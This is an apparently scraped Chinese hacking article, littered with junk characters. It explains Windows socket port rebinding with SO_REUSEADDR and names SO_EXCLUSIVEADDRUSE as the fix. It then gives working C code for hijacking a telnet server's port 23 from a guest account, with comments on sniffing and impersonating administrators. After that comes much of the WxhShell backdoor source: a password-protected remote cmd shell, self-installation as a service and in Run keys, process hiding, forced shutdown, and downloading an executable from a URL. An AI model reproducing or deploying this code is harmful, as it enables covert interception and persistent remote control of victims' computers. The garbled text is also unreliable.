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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c+##!_[9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); srS)"Jt zXIdup@ saddr.sin_family = AF_INET; =8Z-ORW51 jK{qw saddr.sin_addr.s_addr = htonl(INADDR_ANY); }E&: Q-yNw0V}F bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {m_y< :8A@4vMS)? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9LSV^[QUH ?*~sx=mC 这意味着什么?意味着可以进行如下的攻击: zu,Yuq dleCh+ny? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T^#d\2 R I:kp.V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }LoMS<O-[ NE|Q0g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }V 4u`= 5>VX]nE3! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 `~NjBtQ G#1W":|` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vPrlRG6 D8WKy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p&
Kfy~ @=BApuer+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cG1iO: " z -tL #include rrG}; A #include ?gMq:[XN #include y-~_ W 6\ #include Bc'Mj=>; DWORD WINAPI ClientThread(LPVOID lpParam); +DE;aGQ.z? int main() 7ab'q&Y[ { _SMi`ie# WORD wVersionRequested; ^-"tK:{ DWORD ret; Qve5qJ WSADATA wsaData; hG272s 2
BOOL val; ` ^;J<l SOCKADDR_IN saddr; I]WvcDJ}C SOCKADDR_IN scaddr; 27}0 int err; 9!ARr@ ; SOCKET s; O.{ SOCKET sc; hd`jf97* int caddsize; dt/-0~U HANDLE mt; |fo#pwX DWORD tid; n"@){:{4? wVersionRequested = MAKEWORD( 2, 2 ); ZWKvz3Wt err = WSAStartup( wVersionRequested, &wsaData ); (&X/n=UI if ( err != 0 ) { KWM}VZY:Z printf("error!WSAStartup failed!\n"); uXb}oUC return -1; xxld. j6 } .fS{j$ saddr.sin_family = AF_INET; {YwdhwJP a;\a>N4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gJ>#HEkMB 59~mr:*sF saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;Nd'GA+1;( saddr.sin_port = htons(23); o[q|dhrANh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8fK/0u^`d { gu&W:FY printf("error!socket failed!\n"); |\94a return -1; n3$u9!|P } 3#eAXIW[ val = TRUE; -vc
,O77z" //SO_REUSEADDR选项就是可以实现端口重绑定的 t[MM=6|Wb if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) imB/P M { n$ E$@ printf("error!setsockopt failed!\n"); w}e_17A return -1; E%a&6W } Z/ L%?zH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l8e)|MSh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 { _Y'%Ggh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p$` ^A ]@ }o"Td if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $9u:Ox
2 { }ktK*4<k ret=GetLastError(); lwIxn1n printf("error!bind failed!\n"); b*4aUpW return -1; Bm<tCN-4 } q_[`PYT listen(s,2); \S{ihS@J while(1) {Z178sik { uuL(BUGt- caddsize = sizeof(scaddr); a %?v/Ku //接受连接请求 XJk~bgO* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _,igN> if(sc!=INVALID_SOCKET) Xe(]4Ux { q Ll4t/p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N2lz{ if(mt==NULL) +fq\K] { ?a'EkZ.dB printf("Thread Creat Failed!\n"); SL
+\{V2 break; ]Rxrt~ ZB } OF:0jOW
} ZP-9KA$" CloseHandle(mt); MM( ,D&
Z } G&4D0f closesocket(s); -OnKvpeI WSACleanup(); wNUcL*n return 0; E )2/Vn2 } fB'Jo<C DWORD WINAPI ClientThread(LPVOID lpParam) 6rO^ p { `G=+qti SOCKET ss = (SOCKET)lpParam; :^FH.6}x SOCKET sc; 5r dt unsigned char buf[4096]; bL{D*\HF SOCKADDR_IN saddr; 1[-`*Ph long num; a)7&2J DWORD val; _,I~1" DWORD ret; 3Q2NiYg3 //如果是隐藏端口应用的话,可以在此处加一些判断 n8D'fvY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 a.ijc>K saddr.sin_family = AF_INET; GoPMWbI7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @gQ?cU 7 saddr.sin_port = htons(23); l>J%Q^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZT`"
{#L { MJa`4[/ printf("error!socket failed!\n"); "#iO{uMWb return -1; Yq:/dpA_ } e-.(O8 val = 100; x@:98P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8cRc5X { 9Vt6);cA-] ret = GetLastError(); A;f)`i0l, return -1; %CgmZTz~< } n7zM;@{7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -^8OjGat { Y^|15ek ret = GetLastError(); |:u5R% return -1; G=C2l#
Ae! } )*7{%Ilq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4`7~~:W!M5 { ?zVcP=p@ printf("error!socket connect failed!\n"); T8x /&g'' closesocket(sc); 0rif,{" closesocket(ss); >:0N)Pj return -1; auM1k] } #W8c)gkG9 while(1) YF %]%^n { f/Z-dM\e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vq@"y%C4 //如果是嗅探内容的话,可以再此处进行内容分析和记录 %:dd#';g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;2^zkmDM num = recv(ss,buf,4096,0); >!c Ff$2' if(num>0) PE[5oH send(sc,buf,num,0); _ -,[U{ else if(num==0) e$mVA}>Ybp break; ?Qts2kae# num = recv(sc,buf,4096,0); W!TTfj if(num>0) h645;sb0 send(ss,buf,num,0); L$ jii else if(num==0) d[E= HN break; }R:oWR } `[ZA#8Ma closesocket(ss); 5cl^:Ua closesocket(sc); V=+p8nE0 return 0 ; e"Z,!Q^-L } b'xBPTN +.$:ZzH# 2Ns<lh ========================================================== g1B P U<'$ \P 下边附上一个代码,,WXhSHELL Eh"Y<]$ PC%_^BDW ========================================================== B E#pHg ol_&epG;ST #include "stdafx.h" 3;!a'[W&p 'OMl9}M #include <stdio.h> SO~pe$c- #include <string.h> 472'P #include <windows.h> H
'nLC, #include <winsock2.h> 9mpQusM #include <winsvc.h> >as+#rz1p #include <urlmon.h> [y<s]C6E hG}/o&}U #pragma comment (lib, "Ws2_32.lib") !
e?=g%( #pragma comment (lib, "urlmon.lib") h^J :k 2 m72PU<. #define MAX_USER 100 // 最大客户端连接数 dE(d'*+a #define BUF_SOCK 200 // sock buffer p%OVl[^jp #define KEY_BUFF 255 // 输入 buffer 9g$fFO g](&H$g #define REBOOT 0 // 重启 &d"scM5 #define SHUTDOWN 1 // 关机 >q&e.-qL Kke
_?/fT #define DEF_PORT 5000 // 监听端口 U/7jK40 E,4*a5Fi #define REG_LEN 16 // 注册表键长度 }E)t,T> #define SVC_LEN 80 // NT服务名长度 }5X.*wz >PGsY[N // 从dll定义API T$V8n_; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mrVN&. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9Lqz:4} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,yi@?lc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pfm B{ %Wc$S]>i // wxhshell配置信息 #4Cf-$J struct WSCFG { {|e7^_ ke int ws_port; // 监听端口 E/E|*6R char ws_passstr[REG_LEN]; // 口令 J/[PA[Rf int ws_autoins; // 安装标记, 1=yes 0=no UG<<.1JL char ws_regname[REG_LEN]; // 注册表键名 WkoYkkuzj char ws_svcname[REG_LEN]; // 服务名 J!'IkC$> char ws_svcdisp[SVC_LEN]; // 服务显示名 >Q)S-4iR char ws_svcdesc[SVC_LEN]; // 服务描述信息 **ls 4CE< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zXd#kw; int ws_downexe; // 下载执行标记, 1=yes 0=no YIYuqtnSJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" e"2x!(&n( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u5,vchZ \/r]Ra }; =e6!U5
f E7]a# // default Wxhshell configuration (. ,{x)H struct WSCFG wscfg={DEF_PORT, >SD?MW1E "xuhuanlingzhe", v\XO?UEJ2 1, 1ay{uU!EL "Wxhshell", L-e6^%eU "Wxhshell", vNU[ K%U "WxhShell Service", _cbXzSYq& "Wrsky Windows CmdShell Service", D6EqJ,~ "Please Input Your Password: ", W#9LK
Jj 1, /NVyzM51V " http://www.wrsky.com/wxhshell.exe", WVL\|y728s "Wxhshell.exe" 57$/Dn }; cP0(Q+i7 <Oj'0NK- // 消息定义模块 *(VwD)* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oMN
Qv%U char *msg_ws_prompt="\n\r? for help\n\r#>"; e#?rK=C?9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; X-%91z:o58 char *msg_ws_ext="\n\rExit."; LM".]f!, char *msg_ws_end="\n\rQuit."; <|:$_&( char *msg_ws_boot="\n\rReboot..."; `iwGPG! char *msg_ws_poff="\n\rShutdown..."; cty char *msg_ws_down="\n\rSave to "; dwm>!h x2g=%K= char *msg_ws_err="\n\rErr!"; NbUibxJ char *msg_ws_ok="\n\rOK!"; *0 ;| kwFo*1
{ char ExeFile[MAX_PATH]; |%=c<z+8 int nUser = 0; I4zm{ 1g HANDLE handles[MAX_USER]; QFEc?sEe int OsIsNt; l{_1`rC' &|Vzo@D(! SERVICE_STATUS serviceStatus; 'Ub\8<HfJU SERVICE_STATUS_HANDLE hServiceStatusHandle; E^m2:J]G TI3@/SB> // 函数声明 Q!W+vh int Install(void); W1UqvaR int Uninstall(void); N3Z6o.k int DownloadFile(char *sURL, SOCKET wsh); ?qtL*; int Boot(int flag); "ScY'< void HideProc(void); vn96o]n int GetOsVer(void); "3NE%1T int Wxhshell(SOCKET wsl); ]@sLX ek void TalkWithClient(void *cs); a3BlydSlf int CmdShell(SOCKET sock); SvD:UG int StartFromService(void); diF2:80o int StartWxhshell(LPSTR lpCmdLine); 5%R$7>`Z pKk{Q0Rt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dn;$4Dak( VOID WINAPI NTServiceHandler( DWORD fdwControl ); T'VKZ5W TK%MVL TK // 数据结构和表定义 qTnk>g_oS& SERVICE_TABLE_ENTRY DispatchTable[] = K.6xNQl{} { :D=y<n;S+ {wscfg.ws_svcname, NTServiceMain}, _ud!:q {NULL, NULL} Eb\SK"8 }; })ic@ Mmd$ $
?YSAD1 // 自我安装 ':T6m=yv int Install(void) 0 oHnam { 7p,!<X}% char svExeFile[MAX_PATH]; OlYCw.Zu HKEY key; z%L\EP;o} strcpy(svExeFile,ExeFile); X!0m, {hKf
'd9E // 如果是win9x系统,修改注册表设为自启动 1${Cwb/F if(!OsIsNt) { .^uYr^(|[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xA"7a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X1lL@ `r.5 RegCloseKey(key); K]Q1VfeL= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/w(t=Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7vK}aOs0 RegCloseKey(key); }m-+EUEo9 return 0; \jByJCN } dn=g!= } QgW4jIbx } iYzm<3n? else { 7j\jOklV N>+L?C // 如果是NT以上系统,安装为系统服务 :8Jn?E (36 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >*[Bq; if (schSCManager!=0) 7_AcvsdW { 4[m4u6z= SC_HANDLE schService = CreateService EX,)MU ( P 4jg]g schSCManager, 4 O~zkg wscfg.ws_svcname, wLH[rwPr wscfg.ws_svcdisp, WiclG8l SERVICE_ALL_ACCESS, 8{J{)gF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G+f@m, SERVICE_AUTO_START, _#6ekl|% SERVICE_ERROR_NORMAL, Y,C3E>}Dq svExeFile, !l1ycQM NULL, -<WQ>mrB& NULL, % wS5m#n NULL, EX^j^#N NULL, @K.[;-;g NULL 0p'=Vel{} ); c{s%kVOzg if (schService!=0) H-1y2AQ { [#6Eax,j CloseServiceHandle(schService); ^H
UNq[sQ CloseServiceHandle(schSCManager); E;^~} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <eG8xC strcat(svExeFile,wscfg.ws_svcname); ^ G(GjW8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7tr;adjs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c_^-`7g RegCloseKey(key); 9hIcnPu return 0; O(oGRK<xM } ~Fd<d[b? } 4zM$I CloseServiceHandle(schSCManager); ?Wm.'S'to } ?-IjaDC} } GT} =(sD L X(ZouyD< return 1; OTe0[p6v } []rg'9B2b <UcbBcW, // 自我卸载 4RV5:&ALLS int Uninstall(void) o Z#4<7K {
Q>}*l|Ci HKEY key; I`e|[k2 J 4E G if(!OsIsNt) { NbtNu$%t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O7z-4r RegDeleteValue(key,wscfg.ws_regname); U`fxe`nVa RegCloseKey(key); 2_]"9d4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XVKR}I RegDeleteValue(key,wscfg.ws_regname); 2nGQD{ RegCloseKey(key); %l7|+%M.{ return 0; n/fMq,<8 } 1]uHaI( } lC ^NhQi } *?Sp9PixP else { #{8n<sE EJrn4QOs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JtrLTo if (schSCManager!=0) vpGeG { 3,cZ*4('d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T>ds<MaLP if (schService!=0) >1=sw
qa { .?YLD+\A if(DeleteService(schService)!=0) { Htf|VpzMb CloseServiceHandle(schService); s5TPecd CloseServiceHandle(schSCManager); ;nbUbRb return 0; yF}l.>7D } BtN@P23>k. CloseServiceHandle(schService); )wROPA\uA } > ^b6\ CloseServiceHandle(schSCManager); OBCRZ } 4M&6q(389 } M"eiKX ytX XZ` return 1; 4EiEE{9V } C=6 Vd [p+6HF // 从指定url下载文件 e!67Na0X( int DownloadFile(char *sURL, SOCKET wsh) 9
L{JU { > T,^n
{_v HRESULT hr; 0b0.xz\~U char seps[]= "/"; &?=UP4[oif char *token; W^Jh'^E char *file; 5};Nv{km^2 char myURL[MAX_PATH]; )kSE5|:pi char myFILE[MAX_PATH]; b=!G3wVw< mV0.9pxS strcpy(myURL,sURL); 09{B6l6P token=strtok(myURL,seps); n)(E 0h while(token!=NULL) 4{d!}R { p<\yp<g file=token; `4&
GumG token=strtok(NULL,seps); (0Xgv3wd } U!L<v!$ e?%Qv+)W GetCurrentDirectory(MAX_PATH,myFILE); =Zcbfo_& strcat(myFILE, "\\"); P%v7(bqL4+ strcat(myFILE, file); e{~s\G8g send(wsh,myFILE,strlen(myFILE),0); ZlHN-!OZp send(wsh,"...",3,0); -o\r]24 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2L~[dn.s if(hr==S_OK) j"aimjqd3 return 0; ei>8{v&g
else h5-<2B| return 1; tc%?{W\ }>\+eG } %G& Zm$u= }kaU0 P // 系统电源模块 =X?jId{ int Boot(int flag) s5X .(;+ { \7QAk4I~ HANDLE hToken; R <+K&_ TOKEN_PRIVILEGES tkp; opK=Z Ldnw1xy if(OsIsNt) { @3/.W + OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `b^eRnpR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 85P7I=`*d tkp.PrivilegeCount = 1; ^w eU\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y3+GBqP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }4PIpDL if(flag==REBOOT) { beyC't if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m"P"iK/Av( return 0; #\kYGr-G) } kDM\IyM<\ else { Tti]H9g_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xyK_1n@b return 0; gw0b>E8gZ& } IT a8*Myj } K8{U b else { F2yc&mXyk if(flag==REBOOT) { |kL^k{=zV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zK`z*\ return 0; Hn%n>Bnl } iX8&mUR else { ,}i`1E 1= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z}(,OZh return 0; Z !Njfq5 } -AUdBG } {O-,JCq/ KS($S(Fi return 1; c0v;r4Jo#j } Jrp{e("9 oR'8|~U@B // win9x进程隐藏模块 Qo>VN`v void HideProc(void) +;7Rz_.6f { 4-@D` ,3L Z `FqC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m&xyw9a if ( hKernel != NULL ) Ti`H?9t { ` V}e$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RI_:~^nO{r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |EuWzhNAO FreeLibrary(hKernel); Ur`Ri? } ob=GB71j55 f!;4-.p` return; *Z"9Q X } W-9^Ncp 0;,4.hsh // 获取操作系统版本 ZOGH.` int GetOsVer(void) [m7^Euury { 8<}f:9/ OSVERSIONINFO winfo; |7Z7_YWs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @[M5$," GetVersionEx(&winfo); &]gw[
` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v=15pW return 1; nlaJ else J,ZvaF return 0; KN>U6=WN } \(Uw.ri Ky33h 0TX // 客户端句柄模块 z}v6!u|iZu int Wxhshell(SOCKET wsl) Mq!03q6 { Y_n^6 ; SOCKET wsh; d&n&_> struct sockaddr_in client; g3@Qn?(j! DWORD myID; ]J\tosTi iOI8'`mk while(nUser<MAX_USER) V3&_ST { _idTsd:\ int nSize=sizeof(client); O-r,&W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j_ dCy if(wsh==INVALID_SOCKET) return 1; HE0UcP1U 6]#pPk8[Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w 8M,35b if(handles[nUser]==0) F;l*@y Tq closesocket(wsh); n!5 :I#B else swv1>52{ nUser++; GaMiu!|, } 9$7tB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HMT^gmF) F.i%o2P3 return 0; fI@4 v\ } &UtsI@Mu .JIn( // 关闭 socket 1Ao YG_ void CloseIt(SOCKET wsh) ^ mbpt`@ { C<Q;3w`#1j closesocket(wsh); Tl9KL%9 nUser--; m'&^\7;D ExitThread(0); {?c`0C } qOO2@c _]W
{)=ap // 客户端请求句柄 Ar4@7 void TalkWithClient(void *cs) Z)B5g> { -}nTwx:|5u 1DPgiIG~ SOCKET wsh=(SOCKET)cs; $y~!ePKh char pwd[SVC_LEN]; i,jPULzyjk char cmd[KEY_BUFF]; B\BxF6 y char chr[1]; ^W-03 int i,j; ,Q~C
F;qe h^#K4/ while (nUser < MAX_USER) { 5(kRFb'31F ajFSbi)l if(wscfg.ws_passstr) { !e*BQ3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); umV5Y` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S EdNH.|I //ZeroMemory(pwd,KEY_BUFF); 7XLz Ewa i=0; 6@_Vg~=S while(i<SVC_LEN) { g:bw;6^u ^M60#gJ // 设置超时 W#1t%hT$ fd_set FdRead; n~xh
%r; struct timeval TimeOut; dQ+{Dv3A FD_ZERO(&FdRead); /L,VZ?CmtK FD_SET(wsh,&FdRead); }{<@wE%s TimeOut.tv_sec=8; V<f76U) TimeOut.tv_usec=0; |`d5Y#26 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bd8,~8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~$7fU <{U "0jY!9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,1+AfI pwd =chr[0]; :Z0m " if(chr[0]==0xd || chr[0]==0xa) { S`ms[^-q* pwd=0; &y-(UOqbkP break; Q)oO*CnM!- } S0+nQM% i++; $7%e|0jC } }$-;P=k }Xv2I$J // 如果是非法用户,关闭 socket @?,iy?BSG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `8$gaA* } Z~O1$,Z afEhC0j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '{9nQDgT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1muB*
O 'yG9Rt while(1) { fv?vO2nj (9bFIvMc ZeroMemory(cmd,KEY_BUFF); !9+xKr99 '5j$wr zt // 自动支持客户端 telnet标准 QAiont ,! j=0; 5x";}Vp>P while(j<KEY_BUFF) { 0. _)X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z>GqLq\`ed cmd[j]=chr[0]; <C0~7]XO if(chr[0]==0xa || chr[0]==0xd) { 9\F:<Bf$# cmd[j]=0; "W:#4@
F break; #kD8U# } e)I-|Q4^% j++; $J8?!Xg } fz
H$`X'M S+LE ASOr // 下载文件 f=%k9Y*) if(strstr(cmd,"http://")) { <1~5l~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]+RBykr if(DownloadFile(cmd,wsh)) FOz7W send(wsh,msg_ws_err,strlen(msg_ws_err),0); wGfU@!m else Q9v
OY8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "p<B| } u*#j;Xc else { s>8;At- |7G+O+j switch(cmd[0]) { +AVYypql8K A1{ 7g<k6 // 帮助 \bJ,8J1C case '?': { wm>I;|gA) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZuV/!9qU break; /ekeU+j } yEm[C(gZ // 安装 (<RZZ{m case 'i': { {<XPE:1>Y if(Install()) =b+W*vUAw send(wsh,msg_ws_err,strlen(msg_ws_err),0); E3bS Q else \-A=??@H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vb 2mY break; D@5Ud)_ } ,dhSc<:LT // 卸载 i}C9 case 'r': { hdZ{8 rP if(Uninstall()) D,FX&{TYU send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-d2HXo else CF|c4oY 82 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4{!7T break; .GG6wL<$? } )m .KV5K! // 显示 wxhshell 所在路径 Rlvb@aXgy case 'p': { g8<Ja (J char svExeFile[MAX_PATH]; .QRa{l_) strcpy(svExeFile,"\n\r"); 7s#,.(s strcat(svExeFile,ExeFile); {%Mt-Gm'd send(wsh,svExeFile,strlen(svExeFile),0); ;9w:%c1 break; UA@(D } j. 1@{H // 重启 ` drds case 'b': { p$r=jF& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -[\+~aDH, if(Boot(REBOOT)) DIx!Sw7EC send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"eUacBz/- else { k+8K[?K- closesocket(wsh); 6.X| .N ExitThread(0); q/I':a[1 } 3C8cvi[IS break; JO*}\Es } gmG
M[c \ // 关机 =pQ'wx|>| case 'd': { Uy8r
!9O send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {FV_APL9_ if(Boot(SHUTDOWN)) Ja$Ple*XU8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &j4 1<A else { c rx8+ closesocket(wsh);
5X2&hG* ExitThread(0); TFrZ+CcWp2 } MfzSoxCb break; 3LT[?C]H$ }
Tk(ciwB // 获取shell ,{{e'S9cy case 's': { :u}FF"j CmdShell(wsh); qo2/? ]
closesocket(wsh); /%W&zd=%# ExitThread(0); >lZ9Y{Y4v break; !U}dYB:O } .c#G0t<i[ // 退出 {rp5qgVE< case 'x': { h_O6Z2J1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LEnm6 CloseIt(wsh); Q>`|{m break; 8t{- } 6pyLb3[e // 离开 '`.bmiM case 'q': { BT?)-wS send(wsh,msg_ws_end,strlen(msg_ws_end),0); dEz7 @T closesocket(wsh); ,yZvT7 WSACleanup(); xx^7 exit(1); ^zdZ"\x break; Z_Tu*
F } gQXB=ywF } #=>t6B4af } XYeuYLut PjL"7^Q& // 提示信息 ~_XJ v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q]9g
} AOvn<Q } f@:.bp8VB8 -Xm/sq(i)% return; N{6
-rR } $:v!*0/ (<|NerwD // shell模块句柄 |$Y0VC4a int CmdShell(SOCKET sock) #;l~Y}7' { 9d4Agj
M STARTUPINFO si; 0~.OMG:= ZeroMemory(&si,sizeof(si)); n2<#]2h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6gUcoDD si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t)O8ON PROCESS_INFORMATION ProcessInfo; 6xLLIby, char cmdline[]="cmd"; '"#W!p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zUw=e}?: return 0; e
MX?x7 } XeGtge/}T })zYo 7 // 自身启动模式 lwY2zX&%)/ int StartFromService(void) t-, =sV
{ U_1syaY! typedef struct #q[k"x=c { *^]lFuX\&E DWORD ExitStatus; Us5P?} DWORD PebBaseAddress; eiiI Wr_7 DWORD AffinityMask; ]yvHb)X DWORD BasePriority;
2aROY2 ULONG UniqueProcessId; 4T]n64Yid ULONG InheritedFromUniqueProcessId; VeLuL:4I } PROCESS_BASIC_INFORMATION; 6jdNQC$#B =Zg%& J PROCNTQSIP NtQueryInformationProcess; qB%?t.k7 :E$<!q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %T OYU(k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $-tgd<2h y'5
